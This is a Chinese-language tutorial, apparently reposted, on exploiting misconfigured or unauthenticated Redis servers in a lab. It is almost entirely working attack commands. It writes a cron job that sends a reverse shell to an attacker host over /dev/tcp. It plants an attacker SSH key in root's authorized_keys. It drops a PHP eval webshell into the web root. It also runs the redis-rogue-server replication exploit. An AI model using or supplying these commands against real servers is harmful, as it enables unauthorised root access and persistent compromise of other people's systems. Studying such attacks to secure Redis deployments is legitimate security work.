Redis漏洞利用總結


0x00 簡要說明

百度百科:Redis(Remote Dictionary Server ),即遠程字典服務,是一個開源的使用ANSI C語言編寫、支持網絡、可基於內存亦可持久化的日志型、Key-Value數據庫,並提供多種語言的API。

Redis因配置不當可導致攻擊者直接獲取到服務器的權限。

  • 利用條件:redis以root身份運行,未授權訪問,弱口令或者口令泄露等

環境准備:

測試環境 IP
Kali 192.168.100.99
靶機(CentOS 7) 192.168.100.101

0x01 CentOS 7安裝Redis

# 安裝gcc
[root@localhost ~]# yum install -y gcc

# 下載解壓redis安裝包
[root@localhost ~]# wget http://download.redis.io/releases/redis-5.0.0.tar.gz
[root@localhost ~]# tar xvf redis-5.0.0.tar.gz

# 編譯並執行安裝,指定安裝目錄為/usr/local/redis
[root@localhost ~]# cd redis-5.0.0/
[root@localhost redis-5.0.0]#  make && make install PREFIX=/usr/local/redis

# 啟動redis服務並保持后台運行
[root@localhost redis-5.0.0]#  cd /usr/local/redis/bin/
[root@localhost bin]# ./redis-server &

# 關閉保護模式
[root@localhost bin]# ./redis-cli 
127.0.0.1:6379> config set protected-mode no

0x02 通過計划任務反彈shell

利用條件:

  • redis以root身份運行
  • 未授權訪問或授權口令已知

在kali中通過redis-cli -h 192.168.100.101 -p 6379連接到redis,輸入以下指令利用crontab反彈shell

# cron表達式格式:{秒數} {分鍾} {小時} {日期} {月份} {星期} {年份(可為空)} 命令
# 每分鍾執行一次echo "haha":* * * * * echo "haha"
192.168.100.101:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.100.99/4444 0>&1\n"

# 設置目錄為/var/spool/cron/
192.168.100.101:6379> config set dir /var/spool/cron/

# 設置文件名為root
192.168.100.101:6379> config set dbfilename root

# 保存快照到本地
192.168.100.101:6379> save

kali中打開一個新的命令行窗口執行nc -lvnp 4444進行監聽,過一會兒就能接收到反彈回來的shell:

由於redis的壓縮儲存機制,在某些情況下會因為反彈shell的指令被壓縮,從而導致反彈shell失敗:

192.168.100.101:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.100.100/4444 0>&1\n"
192.168.100.101:6379> save

[root@localhost  ~]# cat /var/spool/cron/root 
* �bash -i &> /dev/tcp/192.168.100@/4  0>&1

192.168.100.101:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.100.99/4444 0>&1\n"
192.168.100.101:6379> save

[root@localhost  ~]# cat /var/spool/cron/root 
* * * * * bash -i &> /dev/tcp/192.168.100.99/4444 0>&1

當運行redis的用戶為普通用戶時,會無法出現切換目錄失敗的情況:

config set dir /var/spool/cron
(error) ERR Changing directory: Permission denied

0x03 通過SSH公鑰遠程連接

利用條件:

  • redis以root身份運行
  • 未授權訪問或授權口令已知
  • 服務器開放SSH服務且允許密鑰登錄

在kali中使用ssh-keygen -t rsa生成密鑰:

將生成的公鑰文件保存到本地:

┌──(root💀kali)-[/home/kali]
└─# (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > kali

將文件寫入redis進行利用:

# 將上一步生成的kali文件寫入redis並設置鍵的值為kali
┌──(root💀kali)-[/home/kali]
└─# cat kali | redis-cli -h 192.168.100.101 -p 6379 -x set kali

# 連接redis,並將公鑰文件寫入/root/.ssh/authorized_keys中
┌──(root💀kali)-[/home/kali]
└─# redis-cli -h 192.168.100.101 -p 6379
192.168.100.101:6379> config set dir /root/.ssh/
192.168.100.101:6379> config set dbfilename authorized_keys
192.168.100.101:6379> save

# 使用密鑰進行登錄
┌──(root💀kali)-[/home/kali]
└─# ssh -i /root/.ssh/id_rsa root@192.168.100.101

0x04 通過文件寫入獲取webshell

利用條件:

  • 未授權訪問或授權口令已知
  • 服務器開着WEB服務且WEB目錄路徑已知

倘若服務器運行着LAMP/LNMP服務,且已知工作目錄為/var/www/html/,可通過以下指令寫入webshell,或參考寫入SSH公鑰的過程寫入木馬文件:

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['test']);?>"
save

0x05 通過主從復制獲取shell

利用條件:

  • 未授權訪問或授權口令已知
  • Redis <=5.0.5

參考地址:https://github.com/n0b0dyCN/redis-rogue-server

使用方法:

python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>

參數說明:

  • --rpasswd 如果目標Redis服務開啟了認證功能,可以通過該選項指定密碼
  • --rhost 目標redis服務IP
  • --rport 目標redis服務端口,默認為6379
  • --lhost vps的IP地址
  • --lport vps的端口,默認為21000
┌──(root💀kali)-[/home/kali]
└─# git clone https://github.com/n0b0dyCN/redis-rogue-server.git

┌──(root💀kali)-[/home/kali]
└─# cd redis-rogue-server

┌──(root💀kali)-[/home/kali]
└─# python3 redis-rogue-server.py --rhost 192.168.100.101 --lhost 192.168.100.99


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM